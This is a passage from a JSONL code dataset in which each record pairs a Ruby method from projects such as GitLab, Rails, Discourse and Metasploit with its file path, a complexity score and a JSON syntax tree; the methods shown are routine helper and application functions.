end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"_call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@script_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"SCRIPT_NAME\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RACK_RECURSIVE_INCLUDE\"]},{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"include\"]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ForwardRequest\"]}]},{\"type\":\"lvasgn\",\"children\":[\"req\"]},{\"type\":\"send\",\"children\":[null,\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"env\"]}]}]}]},null]}]}","id":"cd9ba20b-0b1a-4f01-b025-0cb3af020b24"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/embed_controller.rb","start_line":161,"raw_source":"def prepare_embeddable\n    response.headers.delete(\"X-Frame-Options\")\n\n    embeddable_host = EmbeddableHost.record_for_url(request.referer)\n\n    @embeddable_css_class =\n      if params[:class_name]\n        \" class=\\\"#{CGI.escapeHTML(params[:class_name])}\\\"\"\n      elsif embeddable_host.present? && embeddable_host.class_name.present?\n        Discourse.deprecate(\n          \"class_name field of EmbeddableHost has been deprecated. Prefer passing class_name as a parameter.\",\n          since: \"3.1.0.beta1\",\n          drop_from: \"3.2\",\n        )\n\n        \" class=\\\"#{CGI.escapeHTML(embeddable_host.class_name)}\\\"\"\n      else\n        \"\"\n      end\n\n    @data_referer =\n      if SiteSetting.embed_any_origin? && @data_referer.blank?\n        \"*\"\n      else\n        request.referer\n      end\n  end","complexity_score":34.0,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_embeddable\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"headers\"]},\"delete\",{\"type\":\"str\",\"children\":[\"X-Frame-Options\"]}]},{\"type\":\"lvasgn\",\"children\":[\"embeddable_host\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmbeddableHost\"]},\"record_for_url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"referer\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@embeddable_css_class\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"class_name\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" class=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"escapeHTML\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"class_name\"]}]}]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"embeddable_host\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"embeddable_host\"]},\"class_name\"]},\"present?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"deprecate\",{\"type\":\"str\",\"children\":[\"class_name field of EmbeddableHost has been deprecated. Prefer passing class_name as a parameter.\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"since\"]},{\"type\":\"str\",\"children\":[\"3.1.0.beta1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"drop_from\"]},{\"type\":\"str\",\"children\":[\"3.2\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" class=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"escapeHTML\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"embeddable_host\"]},\"class_name\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@data_referer\",{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"embed_any_origin?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data_referer\"]},\"blank?\"]}]},{\"type\":\"str\",\"children\":[\"*\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"referer\"]}]}]}]}]}","id":"beaa0fff-b208-4514-8d92-7d52320717b6"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/project_custom_field.rb","start_line":57,"raw_source":"def mappings_with_view_project_attributes_permission(user, project) # rubocop:disable Metrics/AbcSize\n      allowed_projects = Project.allowed_to(user, :view_project_attributes)\n      mapping_table = ProjectCustomFieldProjectMapping.arel_table\n\n      mapping_condition = mapping_table[:custom_field_id].eq(arel_table[:id])\n                          .and(mapping_table[:project_id].in(allowed_projects.select(:id).arel))\n\n      if project&.persisted?\n        mapping_condition = mapping_condition.and(mapping_table[:project_id].eq(project.id))\n      end\n\n      mapping_table.project(Arel.star).where(mapping_condition)\n    end","complexity_score":29.3,"ast_json":"{\"type\":\"def\",\"children\":[\"mappings_with_view_project_attributes_permission\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"allowed_projects\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"allowed_to\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"sym\",\"children\":[\"view_project_attributes\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mapping_table\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProjectCustomFieldProjectMapping\"]},\"arel_table\"]}]},{\"type\":\"lvasgn\",\"children\":[\"mapping_condition\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"custom_field_id\"]}]},\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"and\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]},\"in\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowed_projects\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"arel\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"persisted?\"]},{\"type\":\"lvasgn\",\"children\":[\"mapping_condition\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping_condition\"]},\"and\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]},\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping_table\"]},\"project\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"star\"]}]},\"where\",{\"type\":\"lvar\",\"children\":[\"mapping_condition\"]}]}]}]}","id":"56a440de-0889-44f3-a5a4-fd4db6b22df5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/redis_cacheable.rb","start_line":46,"raw_source":"def cache_attribute_key\n    \"cache:#{self.class.name}:#{self.id}:attributes\"\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cache_attribute_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cache:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"id\"]}]},{\"type\":\"str\",\"children\":[\":attributes\"]}]}]}","id":"aeb3772e-7d22-4e28-ba05-4776a9864195"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/windows/dll_inject.rb","start_line":189,"raw_source":"def library_name\n    datastore['LibraryName'] || 'msf.dll'\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"library_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LibraryName\"]}]},{\"type\":\"str\",\"children\":[\"msf.dll\"]}]}]}","id":"c6d381de-7486-4707-a82b-05e9e9f969fb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/current.rb","start_line":51,"raw_source":"def organization_assigned=(value)\n    organization_assigned || super(value)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"organization_assigned=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"organization_assigned\"]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"0797df77-7a29-4716-8dcf-97a4d71b6a30"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":2590,"raw_source":"def pages_show_onboarding?\n    !(pages_metadatum&.onboarding_complete || pages_deployed?)\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"pages_show_onboarding?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pages_metadatum\"]},\"onboarding_complete\"]},{\"type\":\"send\",\"children\":[null,\"pages_deployed?\"]}]}]},\"!\"]}]}","id":"1a0d79c8-668c-4b78-87a1-65faa1a83cdb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240906145800_add_package_id_as_foreign_key_in_packages_conan_package_references.rb","start_line":13,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key :packages_conan_package_references, column: :package_id\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"packages_conan_package_references\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"package_id\"]}]}]}]}]}]}","id":"d0635eba-798b-4032-8099-ff2473fba05a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-active-context/lib/active_context/databases/postgresql/client.rb","start_line":56,"raw_source":"def with_connection(&block)\n          handle_connection(raw_connection: false, &block)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"with_connection\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"handle_connection\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw_connection\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"e6048bc4-bb14-4d6b-b442-103e4ed3146c"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/object/try_test.rb","start_line":11,"raw_source":"def test_nonexisting_method\n    method = :undefined_method\n    assert_not_respond_to @string, method\n    assert_nil @string.try(method)\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_nonexisting_method\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"method\",{\"type\":\"sym\",\"children\":[\"undefined_method\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_respond_to\",{\"type\":\"ivar\",\"children\":[\"@string\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@string\"]},\"try\",{\"type\":\"lvar\",\"children\":[\"method\"]}]}]}]}]}","id":"c2eac1b9-b41d-4e0b-bf0a-eb19f647a107"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/search_query_transformer.rb","start_line":136,"raw_source":"def initialize(operator, phrase)\n      @operator = Operator.symbol(operator)\n      @phrase = phrase\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"operator\"]},{\"type\":\"arg\",\"children\":[\"phrase\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@operator\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Operator\"]},\"symbol\",{\"type\":\"lvar\",\"children\":[\"operator\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@phrase\",{\"type\":\"lvar\",\"children\":[\"phrase\"]}]}]}]}","id":"fa61544c-4093-4648-8731-1dffe62e2314"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb","start_line":532,"raw_source":"def enum_types\n        query = <<~SQL\n          SELECT\n            type.typname AS name,\n            type.OID AS oid,\n            n.nspname AS schema,\n            array_agg(enum.enumlabel ORDER BY enum.enumsortorder) AS value\n          FROM pg_enum AS enum\n          JOIN pg_type AS type ON (type.oid = enum.enumtypid)\n          JOIN pg_namespace n ON type.typnamespace = n.oid\n          WHERE n.nspname = ANY (current_schemas(false))\n          GROUP BY type.OID, n.nspname, type.typname;\n        SQL\n\n        internal_exec_query(query, \"SCHEMA\", allow_retry: true, materialize_transactions: false).cast_values.each_with_object({}) do |row, memo|\n          name, schema = row[0], row[2]\n          schema = nil if schema == current_schema\n          full_name = [schema, name].compact.join(\".\")\n          memo[full_name] = row.last\n        end.to_a\n      end","complexity_score":27.9,"ast_json":"{\"type\":\"def\",\"children\":[\"enum_types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"  type.typname AS name,\\n\"]},{\"type\":\"str\",\"children\":[\"  type.OID AS oid,\\n\"]},{\"type\":\"str\",\"children\":[\"  n.nspname AS schema,\\n\"]},{\"type\":\"str\",\"children\":[\"  array_agg(enum.enumlabel ORDER BY enum.enumsortorder) AS value\\n\"]},{\"type\":\"str\",\"children\":[\"FROM pg_enum AS enum\\n\"]},{\"type\":\"str\",\"children\":[\"JOIN pg_type AS type ON (type.oid = enum.enumtypid)\\n\"]},{\"type\":\"str\",\"children\":[\"JOIN pg_namespace n ON type.typnamespace = n.oid\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE n.nspname = ANY (current_schemas(false))\\n\"]},{\"type\":\"str\",\"children\":[\"GROUP BY type.OID, n.nspname, type.typname;\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"internal_exec_query\",{\"type\":\"lvar\",\"children\":[\"query\"]},{\"type\":\"str\",\"children\":[\"SCHEMA\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_retry\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"materialize_transactions\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"cast_values\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]},{\"type\":\"arg\",\"children\":[\"memo\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\"]},{\"type\":\"lvasgn\",\"children\":[\"schema\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"schema\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"current_schema\"]}]},{\"type\":\"lvasgn\",\"children\":[\"schema\",{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"full_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"schema\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"memo\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"full_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"last\"]}]}]}]},\"to_a\"]}]}]}","id":"35d24412-24bf-40b4-869d-ecf089219237"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/ldap/server.rb","start_line":281,"raw_source":"def search_result(filter, msgid, attrflt = :all)\n          if @ldif.nil? || @ldif.empty?\n            attrs = []\n            if attrflt.is_a?(Array)\n              attrflt.each do |at|\n                attrval = [Rex::Text.rand_text_alphanumeric(10)].map(&:to_ber).to_ber_set\n                attrs << [at.to_ber, attrval].to_ber_sequence\n              end\n              dn = \"dc=#{Rex::Text.rand_text_alphanumeric(10)},dc=#{Rex::Text.rand_text_alpha(4)}\"\n              appseq = [\n                dn.to_ber,\n                attrs.to_ber_sequence\n              ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)\n              [msgid.to_ber, appseq].to_ber_sequence\n            end\n          else\n            ldif.map do |bind_dn, entry|\n              next unless filter.match(entry)\n\n              attrs = []\n              entry.each do |k, v|\n                if attrflt == :all || attrflt.include?(k.downcase)\n                  attrvals = v.map(&:to_ber).to_ber_set\n                  attrs << [k.to_ber, attrvals].to_ber_sequence\n                end\n              end\n              appseq = [\n                bind_dn.to_ber,\n                attrs.to_ber_sequence\n              ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)\n              [msgid.to_ber, appseq].to_ber_sequence\n            end.compact.join\n          end\n        end","complexity_score":91.65,"ast_json":"{\"type\":\"def\",\"children\":[\"search_result\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filter\"]},{\"type\":\"arg\",\"children\":[\"msgid\"]},{\"type\":\"optarg\",\"children\":[\"attrflt\",{\"type\":\"sym\",\"children\":[\"all\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ldif\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ldif\"]},\"empty?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attrs\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrflt\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrflt\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"at\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attrval\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[10]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_ber\"]}]}]},\"to_ber_set\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"at\"]},\"to_ber\"]},{\"type\":\"lvar\",\"children\":[\"attrval\"]}]},\"to_ber_sequence\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"dc=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"str\",\"children\":[\",dc=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[4]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"appseq\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dn\"]},\"to_ber\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"to_ber_sequence\"]}]},\"to_ber_appsequence\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"PDU\"]},\"SearchReturnedData\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msgid\"]},\"to_ber\"]},{\"type\":\"lvar\",\"children\":[\"appseq\"]}]},\"to_ber_sequence\"]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ldif\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bind_dn\"]},{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"match\",{\"type\":\"lvar\",\"children\":[\"entry\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"attrs\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrflt\"]},\"==\",{\"type\":\"sym\",\"children\":[\"all\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrflt\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"downcase\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attrvals\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_ber\"]}]}]},\"to_ber_set\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"to_ber\"]},{\"type\":\"lvar\",\"children\":[\"attrvals\"]}]},\"to_ber_sequence\"]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"appseq\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bind_dn\"]},\"to_ber\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"to_ber_sequence\"]}]},\"to_ber_appsequence\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"PDU\"]},\"SearchReturnedData\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msgid\"]},\"to_ber\"]},{\"type\":\"lvar\",\"children\":[\"appseq\"]}]},\"to_ber_sequence\"]}]}]},\"compact\"]},\"join\"]}]}]}","id":"fd626c34-8931-4b99-b990-e508140ccf11"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/oauth/refresh_token_request.rb","start_line":105,"raw_source":"def validate_client\n        return true if credentials.blank?\n\n        client.present?\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_client\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"credentials\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"present?\"]}]}]}","id":"3a6511a4-f29c-4f29-bc35-51c10b9728a9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/cells/application-settings-analysis.rb","start_line":403,"raw_source":"def self.definition_files\n    @definition_files ||= Dir.glob(File.expand_path(\"../../config/application_setting_columns/*.yml\", __dir__))\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"definition_files\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@definition_files\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"glob\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"../../config/application_setting_columns/*.yml\"]},{\"type\":\"send\",\"children\":[null,\"__dir__\"]}]}]}]}]}","id":"89f81689-4268-46ac-8604-009a518b34b5"}
